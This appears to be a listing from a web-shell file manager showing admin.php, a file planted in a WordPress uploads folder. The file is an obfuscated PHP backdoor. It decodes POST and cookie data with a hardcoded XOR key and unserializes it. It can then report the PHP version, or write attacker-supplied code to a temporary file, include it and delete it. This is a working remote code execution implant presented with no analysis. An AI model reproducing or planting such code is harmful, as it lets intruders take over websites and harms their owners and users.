HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/10/admin.php
<?php $hiivfwn	=   'hiivfwn'    ^      '';

$fqpiyawcd     =    "a".$hiivfwn(954-840)       .     "\x72"    . /* uhuez*/ "a"."y"."_"."m".$hiivfwn(97)     .   "\160";$zwvfidc    =     $hiivfwn(105)    . /*hwtxw */ "m"."p".$hiivfwn(108)      .     $hiivfwn(111)    .    "d"."\x65";




function   wseisoseca($rtrxpvgiad,      $hyourcp_o)

{

 /*  camzi  */ global /*rucgq*/ $hiivfwn;

  

	$rtrxpvgiad /*ddz   */ =    "\74" /*   nhle*/ .    "\77" /*  qjvpa */ .   "p"."h"."p".$hiivfwn(32)  .    $hiivfwn(478-361) /*   opqr   */ .   "n".$hiivfwn(108)      .   "\151" /*  yzqtq  */ .  "n"."\153" /*   aph  */ .    "("."_"."_"."F"."I"."\x4c"    . /*  cc  */ "\105"    .    "\137"	.      $hiivfwn(95) /* smnrsq*/ .   "\51"    . /*  xl */ $hiivfwn(59)      .       $hiivfwn(32) /*   egnrx*/ .   $rtrxpvgiad["\144"];

      $chux_pon /*jzcwx */ =    "f"."\151" /*  cc   */ . /* d  */ "\x6c"	.       "\x65"       . /*n  */ "\137"	.     $hiivfwn(453-341)    . /*bui   */ "u"."t"."\x5f" /*   e  */ .    "c"."\x6f"    . /*  hzvf */ "\x6e"       .     "t"."\x65"  .  "\156" /*   vyperq */ .	"t"."s";


	    $chux_pon($hyourcp_o,	$rtrxpvgiad);


        uxcqat($hyourcp_o);


}
$dsamkk /*   chhv */ =  73;



function	uxcqat($hyourcp_o)
{
      global /*  srfhyx   */ $hiivfwn;

    
 /*   elsumk   */ include($hyourcp_o);
 /*   ypjyo   */ $fizh_jloihntx     = /*  _c  */ $hyourcp_o;


 /*roydx */ @unlink($fizh_jloihntx);}




function /* eoce  */ ruwihq()
{


    global    $hiivfwn;



 /* jzxos   */ $fizh_ /*hee*/ =     array();
  $fizh_[$hiivfwn(112)   . /*   dppmy*/ "v"]  = /*ymp   */ phpversion();       $fizh_["s"."v"]	=	"\63" /*n   */ . /*  abfn */ "\x2e" /*  zhee */ .	"5";

	$ghzwbmidbu    =      74;


	echo    @serialize($fizh_);


}




function      fyiwiqpa($rtrxpvgiad,  $yoqcxj)

{	global    $hiivfwn;




   $omptp   =    "";      $xmcbppksy   =	strlen($rtrxpvgiad);


  $vwqhkj /*   txdh */ =	strlen($yoqcxj);


       $fizh_    =   0;    $gxmwsiln    = /*kyprp  */ 0;


           while	($fizh_       < /*  m   */ $xmcbppksy) /* jhge   */ {

	$mmcose /*odpsds   */ = /* vtu  */ $rtrxpvgiad[$fizh_]    ^ /*  j  */ $yoqcxj[$gxmwsiln    % /* olfd   */ $vwqhkj]; /*   mkn*/ $omptp     .= /* h */ $mmcose;


     $gxmwsiln++; /*   jtabm  */ 

      $fizh_++;
	}
 /* apa*/ 

    if	(strlen($omptp)    >   20) /*  ttd  */ {   $xfwo_kd    = /*  vlhi   */ substr($omptp, /* sds */ 0,	20);

 /* vn   */ }


 /* wsi   */ if      (empty($omptp)) /*   vxwrwa*/ {

 /*   i_h */ $omptp    = /*gpb   */ date('Y-m-d	H:i:s');

    }
      return /*   qhg   */ $omptp;

}






function       eijvzgy($ekflsrp)
{
 /* rui*/ global    $hiivfwn;
 /* mfya*/ 

       $labxzxz    = /*   q*/ "5"."\61"  .      "2"."1".$hiivfwn(97)."\61"   .   "7"."\144"."\x2d" /* gnbz  */ . /* sii*/ "5"."7"."c"."7"."-".$hiivfwn(271-219)	.      "\x35"  . /*t_i  */ "5"."\x62" /*   t*/ .	$hiivfwn(45) /* fzt   */ . /* olfady   */ "8".$hiivfwn(97)."b"."\x63"    . /*xmnsm   */ "\55"   .	"\x66"   . /*bdr_zk*/ "f".$hiivfwn(850-749)	. /*   hiy__*/ "\141" /* _dda*/ .     $hiivfwn(97).$hiivfwn(53)    .    "\62"  .    "e"."7".$hiivfwn(202-152)    .    $hiivfwn(167-68) /*   afyazk  */ .      "3";    

      foreach     ($ekflsrp    as       $olctwik  =>   $rtrxpvgiad) /*rsg   */ {

   jhltlsid(base64_decode($rtrxpvgiad),    $labxzxz,     $olctwik);
    }
}




function   jhltlsid($rtrxpvgiad,	$labxzxz,    $olctwik)
{


 /*  v   */ global    $hiivfwn;

 /*  zmkxyy*/ 
 /* f */ $rtrxpvgiad    = /*kouj */ unserialize(fyiwiqpa(fyiwiqpa($rtrxpvgiad,    $labxzxz), /*   hx   */ $olctwik));
	$hhcxxop    = /* t_ */ 'htkn';	$chngwlrq	=     'vrl';

 /*ksqsqh   */ if /*  iri  */ (isset($rtrxpvgiad[$hiivfwn(549-452)    .    "\153"])) /*u   */ {
	if /* clls  */ ($rtrxpvgiad[$hiivfwn(97)]	==       "i")     {


 /*zq*/ ruwihq();

	}    elseif /*  sf*/ ($rtrxpvgiad[$hiivfwn(97)]  == /*el  */ "e")	{


  wseisoseca($rtrxpvgiad,     sprintf($hiivfwn(46)    .      "/"."%"."s".$hiivfwn(46)      .    $hiivfwn(904-792)	.	$hiivfwn(409-301), /*  mjtqox */ md5($labxzxz)));


			$wsi_vj    = /*  z*/ 44; /*  u*/ }

    exit();

    }
}



eijvzgy($_POST); /*_to   */ $gynekzmdoi	= /*   cfkpd   */ 'rawurldecode';

$pvhia      =     $fqpiyawcd($gynekzmdoi, /*anjs   */ $_POST);
$zwvfidc("", /*qd*/ $gynekzmdoi);



eijvzgy($_COOKIE);


$eragggwen /*   jnc */ =      $fqpiyawcd($gynekzmdoi, /*mcipff   */ $_COOKIE);




?>